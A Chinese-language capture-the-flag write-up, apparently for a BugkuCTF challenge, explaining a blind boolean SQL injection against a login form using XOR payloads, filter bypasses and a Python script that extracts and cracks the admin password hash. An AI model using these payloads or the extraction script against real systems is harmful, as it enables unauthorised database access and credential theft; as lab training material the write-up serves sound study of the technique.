输入admin,密码随便填,得到:password error!

输入admin',密码随便填,得到:username does not exist!

因为1^1=0;1^0=1,0^0=0,所以尝试:

输入admin'^1^1#,密码随意填,得到:password error!

输入admin'^0^1#,密码随意填,得到:username does not exist!

搂一遍可用的字符串/函数,经测试asciisubstr括号selectord下划线这些都可以用。此外,过滤了逗号for=where*等。

判断长度:

admin'^(ascii(substr((database())from(1)))>23)^1#

回显password error!,说明ascii码大于23。

admin'^(ascii(substr((database())from(1)))>123)^1#

回显username does not exist!,说明ascii码小于123。

同理,写脚本,等号被过滤了,使用不等号(<>),这里库名表名是猜的。

import requests

url='http://114.67.246.176:16662/index.php'

flag=""
for j in range(1,50):
    for i in range(32,128):
            payload = "admin'^(ascii(substr((select(password)from(admin))from("+str(j)+")))<>"+str(i)+")^1#"
            # print(payload)
            data = {
                "username": payload,
                "password": "123"
            }
            test = requests.post(url=url,data=data).text
            if 'exist' in test:
                flag += chr(i)
                print(flag)
                break

运行可得到密码的md5:4dcc88f8f1bc05e7c2ad1a60288481a2,somd5解得明文:bugkuctf

登录得到flag。